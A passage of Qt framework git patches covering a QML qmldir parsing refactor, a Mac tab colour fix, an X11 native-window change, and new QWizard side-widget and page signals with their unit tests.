src/declarative/qml/qdeclarativedirparser_p.h | 4 +- src/declarative/qml/qdeclarativeengine.cpp | 44 ++++++++++------------ src/declarative/qml/qdeclarativeengine_p.h | 3 +- 4 files changed, 38 insertions(+), 34 deletions(-) diff --git a/src/declarative/qml/qdeclarativecompositetypemanager.cpp b/src/declarative/qml/qdeclarativecompositetypemanager.cpp index 5014323..ebf1f40 100644 --- a/src/declarative/qml/qdeclarativecompositetypemanager.cpp +++ b/src/declarative/qml/qdeclarativecompositetypemanager.cpp @@ -513,12 +513,15 @@ int QDeclarativeCompositeTypeManager::resolveTypes(QDeclarativeCompositeTypeData foreach (QDeclarativeScriptParser::Import imp, unit->data.imports()) { - QString qmldircontentnetwork; + QDeclarativeDirComponents qmldircomponentsnetwork; if (imp.type == QDeclarativeScriptParser::Import::File && imp.qualifier.isEmpty()) { QString importUrl = unit->imports.baseUrl().resolved(QUrl(imp.uri + QLatin1String("/qmldir"))).toString(); for (int ii = 0; ii < unit->resources.count(); ++ii) { if (unit->resources.at(ii)->url == importUrl) { - qmldircontentnetwork = QString::fromUtf8(unit->resources.at(ii)->data); + QDeclarativeDirParser parser; + parser.setSource(QString::fromUtf8(unit->resources.at(ii)->data)); + parser.parse(); + qmldircomponentsnetwork = parser.components(); break; } } @@ -539,7 +542,7 @@ int QDeclarativeCompositeTypeManager::resolveTypes(QDeclarativeCompositeTypeData } if (!QDeclarativeEnginePrivate::get(engine)-> - addToImport(&unit->imports, qmldircontentnetwork, imp.uri, imp.qualifier, vmaj, vmin, imp.type)) + addToImport(&unit->imports, qmldircomponentsnetwork, imp.uri, imp.qualifier, vmaj, vmin, imp.type)) { QDeclarativeError error; error.setUrl(unit->imports.baseUrl()); @@ -558,14 +561,18 @@ int QDeclarativeCompositeTypeManager::resolveTypes(QDeclarativeCompositeTypeData */ { - QString qmldircontentnetwork; + QDeclarativeDirComponents qmldircomponentsnetwork; if (QDeclarativeCompositeTypeResource *resource - = resources.value(unit->imports.baseUrl().resolved(QUrl(QLatin1String("./qmldir"))))) - qmldircontentnetwork = QString::fromUtf8(resource->data); + = resources.value(unit->imports.baseUrl().resolved(QUrl(QLatin1String("./qmldir"))))) { + QDeclarativeDirParser parser; + parser.setSource(QString::fromUtf8(resource->data)); + parser.parse(); + qmldircomponentsnetwork = parser.components(); + } QDeclarativeEnginePrivate::get(engine)-> addToImport(&unit->imports, - qmldircontentnetwork, + qmldircomponentsnetwork, QLatin1String("."), QString(), -1, -1, diff --git a/src/declarative/qml/qdeclarativedirparser_p.h b/src/declarative/qml/qdeclarativedirparser_p.h index 295fa66..e4f4ce6 100644 --- a/src/declarative/qml/qdeclarativedirparser_p.h +++ b/src/declarative/qml/qdeclarativedirparser_p.h @@ -59,7 +59,6 @@ QT_BEGIN_NAMESPACE class QDeclarativeError; - class QDeclarativeDirParser { Q_DISABLE_COPY(QDeclarativeDirParser) @@ -122,6 +121,9 @@ private: unsigned _isParsed: 1; }; +typedef QList QDeclarativeDirComponents; + + QT_END_NAMESPACE #endif // QDECLARATIVEDIRPARSER_P_H diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp index 174579c..f49b17d 100644 --- a/src/declarative/qml/qdeclarativeengine.cpp +++ b/src/declarative/qml/qdeclarativeengine.cpp @@ -1361,7 +1361,7 @@ struct QDeclarativeEnginePrivate::ImportedNamespace { QList majversions; QList minversions; QList isLibrary; - QList qmlDirContent; + QList qmlDirComponents; bool find(const QByteArray& type, int *vmajor, int *vminor, QDeclarativeType** type_return, QUrl* url_return, QUrl *base = 0) @@ -1384,18 +1384,12 @@ struct QDeclarativeEnginePrivate::ImportedNamespace { } QUrl url = QUrl(urls.at(i) + QLatin1Char('/') + QString::fromUtf8(type) + QLatin1String(".qml")); - QString qmldircontent = qmlDirContent.at(i); + QDeclarativeDirComponents qmldircomponents = qmlDirComponents.at(i); bool typeWasDeclaredInQmldir = false; - if (!qmldircontent.isEmpty()) { + if (!qmldircomponents.isEmpty()) { const QString typeName = QString::fromUtf8(type); - - QDeclarativeDirParser qmldirParser; - qmldirParser.setUrl(url); - qmldirParser.setSource(qmldircontent); - qmldirParser.parse(); - - foreach (const QDeclarativeDirParser::Component &c, qmldirParser.components()) { // ### TODO: cache the components + foreach (const QDeclarativeDirParser::Component &c, qmldircomponents) { if (c.typeName == typeName) { typeWasDeclaredInQmldir = true; if (c.majorVersion < vmaj || (c.majorVersion == vmaj && vmin >= c.minorVersion)) { @@ -1440,22 +1434,22 @@ public: QSet qmlDirFilesForWhichPluginsHaveBeenLoaded; - QString importExtension(const QString &absoluteFilePath, const QString &uri, QDeclarativeEngine *engine) { + QDeclarativeDirComponents importExtension(const QString &absoluteFilePath, const QString &uri, QDeclarativeEngine *engine) { QFile file(absoluteFilePath); QString dir = QFileInfo(file).path(); - QString qmldircontent; + QString filecontent; if (file.open(QFile::ReadOnly)) { - qmldircontent = QString::fromUtf8(file.readAll()); + filecontent = QString::fromUtf8(file.readAll()); if (qmlImportTrace()) qDebug() << "QDeclarativeEngine::add: loaded" << absoluteFilePath; } + QDeclarativeDirParser qmldirParser; + qmldirParser.setSource(filecontent); + qmldirParser.parse(); if (! qmlDirFilesForWhichPluginsHaveBeenLoaded.contains(absoluteFilePath)) { qmlDirFilesForWhichPluginsHaveBeenLoaded.insert(absoluteFilePath); - QDeclarativeDirParser qmldirParser; - qmldirParser.setSource(qmldircontent); - qmldirParser.parse(); foreach (const QDeclarativeDirParser::Plugin &plugin, qmldirParser.plugins()) { QDir pluginDir(dir + QDir::separator() + plugin.path); @@ -1471,7 +1465,7 @@ public: } } } - return qmldircontent; + return qmldirParser.components(); } QString resolvedUri(const QString &dir_arg, QDeclarativeEngine *engine) @@ -1518,9 +1512,9 @@ public: - bool add(const QUrl& base, const QString &qmldircontentnetwork, const QString& uri_arg, const QString& prefix, int vmaj, int vmin, QDeclarativeScriptParser::Import::Type importType, QDeclarativeEngine *engine) + bool add(const QUrl& base, const QDeclarativeDirComponents &qmldircomponentsnetwork, const QString& uri_arg, const QString& prefix, int vmaj, int vmin, QDeclarativeScriptParser::Import::Type importType, QDeclarativeEngine *engine) { - QString qmldircontent = qmldircontentnetwork; + QDeclarativeDirComponents qmldircomponents = qmldircomponentsnetwork; QString uri = uri_arg; QDeclarativeEnginePrivate::ImportedNamespace *s; if (prefix.isEmpty()) { @@ -1572,19 +1566,19 @@ public: url = QUrl::fromLocalFile(fi.absolutePath()).toString(); uri = resolvedUri(dir, engine); - qmldircontent = importExtension(absoluteFilePath, uri, engine); + qmldircomponents = importExtension(absoluteFilePath, uri, engine); break; } } } else { - if (importType == QDeclarativeScriptParser::Import::File && qmldircontent.isEmpty()) { + if (importType == QDeclarativeScriptParser::Import::File && qmldircomponents.isEmpty()) { QUrl importUrl = base.resolved(QUrl(uri + QLatin1String("/qmldir"))); QString localFileOrQrc = toLocalFileOrQrc(importUrl); if (!localFileOrQrc.isEmpty()) { uri = resolvedUri(toLocalFileOrQrc(base.resolved(QUrl(uri))), engine); - qmldircontent = importExtension(localFileOrQrc, + qmldircomponents = importExtension(localFileOrQrc, uri, engine); @@ -1603,7 +1597,7 @@ public: s->majversions.prepend(vmaj); s->minversions.prepend(vmin); s->isLibrary.prepend(importType == QDeclarativeScriptParser::Import::Library); - s->qmlDirContent.prepend(qmldircontent); + s->qmlDirComponents.prepend(qmldircomponents); return true; } @@ -1967,12 +1961,12 @@ QString QDeclarativeEnginePrivate::resolvePlugin(const QDir &dir, const QString The base URL must already have been set with Import::setBaseUrl(). */ -bool QDeclarativeEnginePrivate::addToImport(Imports* imports, const QString &qmldircontentnetwork, const QString& uri, const QString& prefix, int vmaj, int vmin, QDeclarativeScriptParser::Import::Type importType) const +bool QDeclarativeEnginePrivate::addToImport(Imports* imports, const QDeclarativeDirComponents &qmldircomponentsnetwork, const QString& uri, const QString& prefix, int vmaj, int vmin, QDeclarativeScriptParser::Import::Type importType) const { QDeclarativeEngine *engine = QDeclarativeEnginePrivate::get(const_cast(this)); if (qmlImportTrace()) qDebug().nospace() << "QDeclarativeEngine::addToImport " << imports << " " << uri << " " << vmaj << '.' << vmin << " " << (importType==QDeclarativeScriptParser::Import::Library? "Library" : "File") << " as " << prefix; - bool ok = imports->d->add(imports->d->base,qmldircontentnetwork, uri,prefix,vmaj,vmin,importType, engine); + bool ok = imports->d->add(imports->d->base,qmldircomponentsnetwork, uri,prefix,vmaj,vmin,importType, engine); return ok; } diff --git a/src/declarative/qml/qdeclarativeengine_p.h b/src/declarative/qml/qdeclarativeengine_p.h index f1b7b0e..4ab619e 100644 --- a/src/declarative/qml/qdeclarativeengine_p.h +++ b/src/declarative/qml/qdeclarativeengine_p.h @@ -69,6 +69,7 @@ #include "qdeclarativecontextscriptclass_p.h" #include "qdeclarativevaluetypescriptclass_p.h" #include "qdeclarativemetatype_p.h" +#include "qdeclarativedirparser_p.h" #include #include @@ -280,7 +281,7 @@ public: QString resolvePlugin(const QDir &dir, const QString &baseName); - bool addToImport(Imports*, const QString& uri, const QString &qmldircontentnetwork, const QString& prefix, int vmaj, int vmin, QDeclarativeScriptParser::Import::Type importType) const; + bool addToImport(Imports*, const QDeclarativeDirComponents &qmldircomponentsnetwork, const QString& uri, const QString& prefix, int vmaj, int vmin, QDeclarativeScriptParser::Import::Type importType) const; bool resolveType(const Imports&, const QByteArray& type, QDeclarativeType** type_return, QUrl* url_return, int *version_major, int *version_minor, -- cgit v0.12 From 8c56170a03bb7ce21d875a1f12561ead799ff209 Mon Sep 17 00:00:00 2001 From: Robert Griebl Date: Fri, 19 Mar 2010 16:18:32 +0100 Subject: Tab color fix for document mode on Snow Leopard. The window frame/toolbar color is different (a bit lighter) for snow leopard, so we need to adjust the tab color in document mode . Reviewed-by: Richard Moe Gustavsen --- src/gui/styles/qmacstyle_mac.mm | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/src/gui/styles/qmacstyle_mac.mm b/src/gui/styles/qmacstyle_mac.mm index 116b03e..7097291 100644 --- a/src/gui/styles/qmacstyle_mac.mm +++ b/src/gui/styles/qmacstyle_mac.mm @@ -237,12 +237,14 @@ void drawTabShape(QPainter *p, const QStyleOptionTabV3 *tabOpt) // fill body if (active) { - p->fillRect(rect, QColor(151, 151, 151)); + int d = (QSysInfo::MacintoshVersion >= QSysInfo::MV_10_6) ? 16 : 0; + p->fillRect(rect, QColor(151 + d, 151 + d, 151 + d)); } else { + int d = (QSysInfo::MacintoshVersion >= QSysInfo::MV_10_6) ? 9 : 0; QLinearGradient gradient(rect.topLeft(), rect.bottomLeft()); - gradient.setColorAt(0, QColor(207, 207, 207)); - gradient.setColorAt(0.5, QColor(206, 206, 206)); - gradient.setColorAt(1, QColor(201, 201, 201)); + gradient.setColorAt(0, QColor(207 + d, 207 + d, 207 + d)); + gradient.setColorAt(0.5, QColor(206 + d, 206 + d, 206 + d)); + gradient.setColorAt(1, QColor(201 + d, 201 + d, 201 + d)); p->fillRect(rect, gradient); } -- cgit v0.12 From 1d506981bcc3d2b8aad67989fd7946a0ad826856 Mon Sep 17 00:00:00 2001 From: Denis Dzyubenko Date: Fri, 19 Mar 2010 17:22:27 +0100 Subject: Do not create native window handle just because a parent has one. On X11 when creating a widget that has a parent, there is no reason to create a native window handle right away since we don't know yet if the window is going to be ever shown. Task-number: QTBUG-9215 Reviewed-by: Bradley T. Hughes --- src/gui/kernel/qwidget_x11.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/gui/kernel/qwidget_x11.cpp b/src/gui/kernel/qwidget_x11.cpp index ece4be4..47f91f8 100644 --- a/src/gui/kernel/qwidget_x11.cpp +++ b/src/gui/kernel/qwidget_x11.cpp @@ -1166,7 +1166,7 @@ void QWidgetPrivate::setParent_sys(QWidget *parent, Qt::WindowFlags f) adjustFlags(data.window_flags, q); // keep compatibility with previous versions, we need to preserve the created state // (but we recreate the winId for the widget being reparented, again for compatibility) - if (wasCreated || (!q->isWindow() && parent->testAttribute(Qt::WA_WState_Created))) + if (wasCreated) createWinId(); if (q->isWindow() || (!parent || parent->isVisible()) || explicitlyHidden) q->setAttribute(Qt::WA_WState_Hidden); -- cgit v0.12 From 935240ce8a06a67cab4ed15311f4c89ca8d17b77 Mon Sep 17 00:00:00 2001 From: Jarek Kobus Date: Fri, 19 Mar 2010 17:32:58 +0100 Subject: Add 2 signals, introduce side widget, make it possible to reset startId Add pageAdded() and pageRemoved() signals. QWizard is now able to show the side widget (on the left). In Creator it will be used to implement steps pane (progress list). Passing -1 to setStartId resets id if it was set explicitly. --- src/gui/dialogs/qwizard.cpp | 205 ++++++++++++++++++++++++++++++++----- src/gui/dialogs/qwizard.h | 5 + tests/auto/qwizard/tst_qwizard.cpp | 97 +++++++++++++++++- 3 files changed, 279 insertions(+), 28 deletions(-) diff --git a/src/gui/dialogs/qwizard.cpp b/src/gui/dialogs/qwizard.cpp index a58057d..8607529 100644 --- a/src/gui/dialogs/qwizard.cpp +++ b/src/gui/dialogs/qwizard.cpp @@ -218,8 +218,8 @@ public: : topLevelMarginLeft(-1), topLevelMarginRight(-1), topLevelMarginTop(-1), topLevelMarginBottom(-1), childMarginLeft(-1), childMarginRight(-1), childMarginTop(-1), childMarginBottom(-1), hspacing(-1), vspacing(-1), - wizStyle(QWizard::ClassicStyle), header(false), watermark(false), title(false), - subTitle(false), extension(false) {} + wizStyle(QWizard::ClassicStyle), header(false), watermark(false), title(false), + subTitle(false), extension(false), sideWidget(false) {} int topLevelMarginLeft; int topLevelMarginRight; @@ -238,6 +238,7 @@ public: bool title; bool subTitle; bool extension; + bool sideWidget; bool operator==(const QWizardLayoutInfo &other); inline bool operator!=(const QWizardLayoutInfo &other) { return !operator==(other); } @@ -261,7 +262,8 @@ bool QWizardLayoutInfo::operator==(const QWizardLayoutInfo &other) && watermark == other.watermark && title == other.title && subTitle == other.subTitle - && extension == other.extension; + && extension == other.extension + && sideWidget == other.sideWidget; } class QWizardHeader : public QWidget @@ -425,6 +427,40 @@ public: : QWizardHeader(Ruler, parent) {} }; +class QWatermarkLabel : public QLabel +{ +public: + QWatermarkLabel(QWidget *parent, QWidget *sideWidget) : QLabel(parent), m_sideWidget(sideWidget) { + m_layout = new QVBoxLayout(this); + if (m_sideWidget) + m_layout->addWidget(m_sideWidget); + } + + QSize minimumSizeHint() const { + if (!pixmap() && !pixmap()->isNull()) + return pixmap()->size(); + return QFrame::minimumSizeHint(); + } + + void setSideWidget(QWidget *widget) { + if (m_sideWidget == widget) + return; + if (m_sideWidget) { + m_layout->removeWidget(m_sideWidget); + m_sideWidget->hide(); + } + m_sideWidget = widget; + if (m_sideWidget) + m_layout->addWidget(m_sideWidget); + } + QWidget *sideWidget() const { + return m_sideWidget; + } +private: + QVBoxLayout *m_layout; + QWidget *m_sideWidget; +}; + class QWizardPagePrivate : public QWidgetPrivate { Q_DECLARE_PUBLIC(QWizardPage) @@ -501,6 +537,7 @@ public: inline QWizardPrivate() : start(-1) + , startSetByUser(false) , current(-1) , canContinue(false) , canFinish(false) @@ -513,6 +550,7 @@ public: , placeholderWidget2(0) , headerWidget(0) , watermarkLabel(0) + , sideWidget(0) , titleLabel(0) , subTitleLabel(0) , bottomRuler(0) @@ -581,6 +619,7 @@ public: QList history; QSet initialized; // ### remove and move bit to QWizardPage? int start; + bool startSetByUser; int current; bool canContinue; bool canFinish; @@ -612,7 +651,8 @@ public: QWidget *placeholderWidget1; QWidget *placeholderWidget2; QWizardHeader *headerWidget; - QLabel *watermarkLabel; + QWatermarkLabel *watermarkLabel; + QWidget *sideWidget; QFrame *pageFrame; QLabel *titleLabel; QLabel *subTitleLabel; @@ -907,11 +947,12 @@ QWizardLayoutInfo QWizardPrivate::layoutInfoForCurrentPage() info.header = (info.wizStyle == QWizard::ClassicStyle || info.wizStyle == QWizard::ModernStyle) && !(opts & QWizard::IgnoreSubTitles) && !subTitleText.isEmpty(); + info.sideWidget = sideWidget; info.watermark = (info.wizStyle != QWizard::MacStyle) && (info.wizStyle != QWizard::AeroStyle) && !watermarkPixmap.isNull(); info.title = !info.header && !titleText.isEmpty(); info.subTitle = !(opts & QWizard::IgnoreSubTitles) && !info.header && !subTitleText.isEmpty(); - info.extension = info.watermark && (opts & QWizard::ExtendedWatermarkPixmap); + info.extension = (info.watermark || info.sideWidget) && (opts & QWizard::ExtendedWatermarkPixmap); return info; } @@ -954,7 +995,7 @@ void QWizardPrivate::recreateLayout(const QWizardLayoutInfo &info) int numColumns; if (mac) { numColumns = 3; - } else if (info.watermark) { + } else if (info.watermark || info.sideWidget) { numColumns = 2; } else { numColumns = 1; @@ -1096,8 +1137,8 @@ void QWizardPrivate::recreateLayout(const QWizardLayoutInfo &info) pageFrame->setContentsMargins(hMargin, vMargin, hMargin, vMargin); } - if (info.watermark && !watermarkLabel) { - watermarkLabel = new QLabel(antiFlickerWidget); + if ((info.watermark || info.sideWidget) && !watermarkLabel) { + watermarkLabel = new QWatermarkLabel(antiFlickerWidget, sideWidget); watermarkLabel->setBackgroundRole(QPalette::Base); watermarkLabel->setMinimumHeight(1); watermarkLabel->setSizePolicy(QSizePolicy::Fixed, QSizePolicy::Expanding); @@ -1173,7 +1214,7 @@ void QWizardPrivate::recreateLayout(const QWizardLayoutInfo &info) mainLayout->addLayout(buttonLayout, row++, buttonStartColumn, 1, buttonNumColumns); - if (info.watermark) { + if (info.watermark || info.sideWidget) { if (info.extension) watermarkEndRow = row; mainLayout->addWidget(watermarkLabel, watermarkStartRow, 0, @@ -1193,7 +1234,7 @@ void QWizardPrivate::recreateLayout(const QWizardLayoutInfo &info) if (bottomRuler) bottomRuler->setVisible(classic || modern); if (watermarkLabel) - watermarkLabel->setVisible(info.watermark); + watermarkLabel->setVisible(info.watermark || info.sideWidget); layoutInfo = info; } @@ -1233,10 +1274,17 @@ void QWizardPrivate::updateLayout() titleFmt, subTitleFmt); } - if (info.watermark) { - Q_ASSERT(page); - watermarkLabel->setPixmap(page->pixmap(QWizard::WatermarkPixmap)); + if (info.watermark || info.sideWidget) { + QPixmap pix; + if (info.watermark) { + if (page) + pix = page->pixmap(QWizard::WatermarkPixmap); + else + pix = q->pixmap(QWizard::WatermarkPixmap); + } + watermarkLabel->setPixmap(pix); // in case there is no watermark and we show the side widget we need to clear the watermark } + if (info.title) { Q_ASSERT(page); titleLabel->setTextFormat(titleFmt); @@ -1267,7 +1315,7 @@ void QWizardPrivate::updateMinMaxSizes(const QWizardLayoutInfo &info) minimumSize.setWidth(headerWidget->maximumWidth()); maximumSize.setWidth(headerWidget->maximumWidth()); } - if (info.watermark) { + if (info.watermark && !info.sideWidget) { minimumSize.setHeight(mainLayout->totalSizeHint().height()); maximumSize.setHeight(mainLayout->totalSizeHint().height()); } @@ -2149,7 +2197,7 @@ QWizard::~QWizard() The ID is guaranteed to be larger than any other ID in the QWizard so far. - \sa setPage(), page() + \sa setPage(), page(), pageAdded() */ int QWizard::addPage(QWizardPage *page) { @@ -2166,7 +2214,10 @@ int QWizard::addPage(QWizardPage *page) Adds the given \a page to the wizard with the given \a id. - \sa addPage(), page() + \note Adding a page may influence the value of the startId property + in case it was not set explicitly. + + \sa addPage(), page(), pageAdded() */ void QWizard::setPage(int theid, QWizardPage *page) { @@ -2210,12 +2261,19 @@ void QWizard::setPage(int theid, QWizardPage *page) // hide new page and reset layout to old status page->hide(); d->pageVBoxLayout->setEnabled(pageVBoxLayoutEnabled); + + if (!d->startSetByUser && d->pageMap.constBegin().key() == theid) + d->start = theid; + emit pageAdded(theid); } /*! Removes the page with the given \a id. cleanupPage() will be called if necessary. + + \note Removing a page may influence the value of the startId property. + \since 4.5 - \sa addPage(), setPage() + \sa addPage(), setPage(), pageRemoved(), startId() */ void QWizard::removePage(int id) { @@ -2223,8 +2281,24 @@ void QWizard::removePage(int id) QWizardPage *removedPage = 0; - if (d->start == id) - d->start = -1; + // update startItem accordingly + if (d->pageMap.count() > 0) { // only if we have any pages + if (d->start == id) { + const int firstId = d->pageMap.constBegin().key(); + if (firstId == id) { + if (d->pageMap.count() > 1) + d->start = (++d->pageMap.constBegin()).key(); // secondId + else + d->start = -1; // removing the last page + } else { // startSetByUser has to be "true" here + d->start = firstId; + } + d->startSetByUser = false; + } + } + + if (d->pageMap.contains(id)) + emit pageRemoved(id); if (!d->history.contains(id)) { // Case 1: removing a page not in the history @@ -2334,21 +2408,27 @@ QList QWizard::pageIds() const void QWizard::setStartId(int theid) { Q_D(QWizard); - if (!d->pageMap.contains(theid)) { - qWarning("QWizard::setStartId: Invalid page ID %d", theid); + int newStart = theid; + if (theid == -1) + newStart = d->pageMap.count() ? d->pageMap.constBegin().key() : -1; + + if (d->start == newStart) { + d->startSetByUser = theid != -1; return; } - d->start = theid; + + if (!d->pageMap.contains(newStart)) { + qWarning("QWizard::setStartId: Invalid page ID %d", newStart); + return; + } + d->start = newStart; + d->startSetByUser = theid != -1; } int QWizard::startId() const { Q_D(const QWizard); - if (d->start != -1) - return d->start; - if (!d->pageMap.isEmpty()) - return d->pageMap.constBegin().key(); - return -1; + return d->start; } /*! @@ -2825,6 +2905,55 @@ void QWizard::setDefaultProperty(const char *className, const char *property, } /*! + \since 4.7 + + Sets the given \a widget to be shown on the left side of the wizard. + For styles which use the WatermarkPixmap (ClassicStyle and ModernStyle) + the side widget is displayed on top of the watermark, for other styles + or when the watermark is not provided the side widget is displayed + on the left side of the wizard. + + Passing 0 shows no side widget. + + When the \a widget is not 0 the wizard reparents it. + + Any previous side widget is hidden. + + You may call setSideWidget() with the same widget at different + times. + + All widgets set here will be deleted by the wizard when it is + destroyed unless you separately reparent the widget after setting + some other side widget (or 0). + + By default, no side widget is present. +*/ +void QWizard::setSideWidget(QWidget *widget) +{ + Q_D(QWizard); + + d->sideWidget = widget; + if (d->watermarkLabel) { + d->watermarkLabel->setSideWidget(widget); + d->updateLayout(); + } +} + +/*! + \since 4.7 + + Returns the widget on the left side of the wizard or 0. + + By default, no side widget is present. +*/ +QWidget *QWizard::sideWidget() const +{ + Q_D(const QWizard); + + return d->sideWidget; +} + +/*! \reimp */ void QWizard::setVisible(bool visible) @@ -2878,6 +3007,28 @@ QSize QWizard::sizeHint() const */ /*! + \fn void QWizard::pageAdded(int id) + + \since 4.7 + + This signal is emitted whenever a page is added to the + wizard. The page's \a id is passed as parameter. + + \sa addPage(), setPage(), startId() +*/ + +/*! + \fn void QWizard::pageRemoved(int id) + + \since 4.7 + + This signal is emitted whenever a page is removed from the + wizard. The page's \a id is passed as parameter. + + \sa removePage(), startId() +*/ + +/*! \fn void QWizard::helpRequested() This signal is emitted when the user clicks the \gui Help button. diff --git a/src/gui/dialogs/qwizard.h b/src/gui/dialogs/qwizard.h index 58b13fe..b146147 100644 --- a/src/gui/dialogs/qwizard.h +++ b/src/gui/dialogs/qwizard.h @@ -165,6 +165,9 @@ public: void setPixmap(WizardPixmap which, const QPixmap &pixmap); QPixmap pixmap(WizardPixmap which) const; + void setSideWidget(QWidget *widget); + QWidget *sideWidget() const; + void setDefaultProperty(const char *className, const char *property, const char *changedSignal); @@ -175,6 +178,8 @@ Q_SIGNALS: void currentIdChanged(int id); void helpRequested(); void customButtonClicked(int which); + void pageAdded(int id); + void pageRemoved(int id); public Q_SLOTS: void back(); diff --git a/tests/auto/qwizard/tst_qwizard.cpp b/tests/auto/qwizard/tst_qwizard.cpp index 764cd3e..f797227 100644 --- a/tests/auto/qwizard/tst_qwizard.cpp +++ b/tests/auto/qwizard/tst_qwizard.cpp @@ -104,6 +104,7 @@ private slots: void setCommitPage(); void setWizardStyle(); void removePage(); + void sideWidget(); // task-specific tests below me: void task161660_buttonSpacing(); @@ -569,12 +570,16 @@ void tst_QWizard::addPage() QWizard wizard; const int N = 100; QWizardPage *pages[N]; + QSignalSpy spy(&wizard, SIGNAL(pageAdded(int))); for (int i = 0; i < N; ++i) { pages[i] = new QWizardPage(parent); QCOMPARE(wizard.addPage(pages[i]), i); QCOMPARE(pages[i]->window(), (QWidget *)&wizard); QCOMPARE(wizard.startId(), 0); + QCOMPARE(spy.count(), 1); + QList arguments = spy.takeFirst(); + QCOMPARE(arguments.at(0).toInt(), i); } for (int i = 0; i < N; ++i) { @@ -585,16 +590,29 @@ void tst_QWizard::addPage() QVERIFY(!wizard.page(N + 1)); wizard.setPage(N + 50, new QWizardPage); + QCOMPARE(spy.count(), 1); + QList arguments = spy.takeFirst(); + QCOMPARE(arguments.at(0).toInt(), N + 50); wizard.setPage(-3000, new QWizardPage); + QCOMPARE(spy.count(), 1); + arguments = spy.takeFirst(); + QCOMPARE(arguments.at(0).toInt(), -3000); QWizardPage *pageX = new QWizardPage; QCOMPARE(wizard.addPage(pageX), N + 51); QCOMPARE(wizard.page(N + 51), pageX); + QCOMPARE(spy.count(), 1); + arguments = spy.takeFirst(); + QCOMPARE(arguments.at(0).toInt(), N + 51); QCOMPARE(wizard.addPage(new QWizardPage), N + 52); + QCOMPARE(spy.count(), 1); + arguments = spy.takeFirst(); + QCOMPARE(arguments.at(0).toInt(), N + 52); QTest::ignoreMessage(QtWarningMsg,"QWizard::setPage: Cannot insert null page"); wizard.addPage(0); // generates a warning + QCOMPARE(spy.count(), 0); delete parent; } @@ -611,6 +629,7 @@ void tst_QWizard::setPage() QWidget *parent = new QWidget; QWizard wizard; QWizardPage *page; + QSignalSpy spy(&wizard, SIGNAL(pageAdded(int))); QCOMPARE(wizard.startId(), -1); QCOMPARE(wizard.currentId(), -1); @@ -620,6 +639,7 @@ void tst_QWizard::setPage() page = new QWizardPage(parent); QTest::ignoreMessage(QtWarningMsg,"QWizard::setPage: Cannot insert page with ID -1"); wizard.setPage(-1, page); // gives a warning and does nothing + QCOMPARE(spy.count(), 0); QVERIFY(!wizard.page(-2)); QVERIFY(!wizard.page(-1)); QVERIFY(!wizard.page(0)); @@ -631,6 +651,9 @@ void tst_QWizard::setPage() page = new QWizardPage(parent); wizard.setPage(0, page); + QCOMPARE(spy.count(), 1); + QList arguments = spy.takeFirst(); + QCOMPARE(arguments.at(0).toInt(), 0); QCOMPARE(page->window(), (QWidget *)&wizard); QCOMPARE(wizard.page(0), page); QCOMPARE(wizard.startId(), 0); @@ -641,6 +664,9 @@ void tst_QWizard::setPage() page = new QWizardPage(parent); wizard.setPage(-2, page); + QCOMPARE(spy.count(), 1); + arguments = spy.takeFirst(); + QCOMPARE(arguments.at(0).toInt(), -2); QCOMPARE(page->window(), (QWidget *)&wizard); QCOMPARE(wizard.page(-2), page); QCOMPARE(wizard.startId(), -2); @@ -659,6 +685,9 @@ void tst_QWizard::setPage() page = new QWizardPage(parent); wizard.setPage(2, page); + QCOMPARE(spy.count(), 1); + arguments = spy.takeFirst(); + QCOMPARE(arguments.at(0).toInt(), 2); QCOMPARE(wizard.page(2), page); QCOMPARE(wizard.startId(), -2); QCOMPARE(wizard.currentId(), -2); @@ -675,6 +704,9 @@ void tst_QWizard::setPage() page = new QWizardPage(parent); wizard.setPage(-3, page); + QCOMPARE(spy.count(), 1); + arguments = spy.takeFirst(); + QCOMPARE(arguments.at(0).toInt(), -3); QCOMPARE(wizard.page(-3), page); QCOMPARE(wizard.startId(), -3); QCOMPARE(wizard.currentId(), -2); @@ -743,6 +775,7 @@ void tst_QWizard::setPage() QCOMPARE(wizard.nextId(), -2); CHECK_VISITED(wizard, QList() << -3); } + QCOMPARE(spy.count(), 0); delete parent; } @@ -766,7 +799,17 @@ void tst_QWizard::setStartId() wizard.setPage(INT_MAX, new QWizardPage); QCOMPARE(wizard.startId(), INT_MIN); - QTest::ignoreMessage(QtWarningMsg,"QWizard::setStartId: Invalid page ID -1"); + QTest::ignoreMessage(QtWarningMsg,"QWizard::setStartId: Invalid page ID 123"); + wizard.setStartId(123); + QCOMPARE(wizard.startId(), INT_MIN); + + wizard.setStartId(-1); + QCOMPARE(wizard.startId(), INT_MIN); + + wizard.setStartId(-2); + QCOMPARE(wizard.startId(), -2); + QCOMPARE(wizard.nextId(), -1); + wizard.setStartId(-1); QCOMPARE(wizard.startId(), INT_MIN); @@ -2209,6 +2252,7 @@ void tst_QWizard::removePage() QWizardPage *page1 = new QWizardPage; QWizardPage *page2 = new QWizardPage; QWizardPage *page3 = new QWizardPage; + QSignalSpy spy(&wizard, SIGNAL(pageRemoved(int))); wizard.setPage(0, page0); wizard.setPage(1, page1); @@ -2218,26 +2262,36 @@ void tst_QWizard::removePage() wizard.restart(); QCOMPARE(wizard.pageIds().size(), 4); QCOMPARE(wizard.visitedPages().size(), 1); + QCOMPARE(spy.count(), 0); // Removing a non-existent page wizard.removePage(4); QCOMPARE(wizard.pageIds().size(), 4); + QCOMPARE(spy.count(), 0); // Removing and then reinserting a page QCOMPARE(wizard.pageIds().size(), 4); QVERIFY(wizard.pageIds().contains(2)); wizard.removePage(2); + QCOMPARE(spy.count(), 1); + QList arguments = spy.takeFirst(); + QCOMPARE(arguments.at(0).toInt(), 2); QCOMPARE(wizard.pageIds().size(), 3); QVERIFY(!wizard.pageIds().contains(2)); wizard.setPage(2, page2); + QCOMPARE(spy.count(), 0); QCOMPARE(wizard.pageIds().size(), 4); QVERIFY(wizard.pageIds().contains(2)); // Removing the same page twice wizard.removePage(2); // restore + QCOMPARE(spy.count(), 1); + arguments = spy.takeFirst(); + QCOMPARE(arguments.at(0).toInt(), 2); QCOMPARE(wizard.pageIds().size(), 3); QVERIFY(!wizard.pageIds().contains(2)); wizard.removePage(2); + QCOMPARE(spy.count(), 0); QCOMPARE(wizard.pageIds().size(), 3); QVERIFY(!wizard.pageIds().contains(2)); @@ -2247,7 +2301,11 @@ void tst_QWizard::removePage() wizard.next(); QCOMPARE(wizard.visitedPages().size(), 2); QCOMPARE(wizard.currentPage(), page1); + 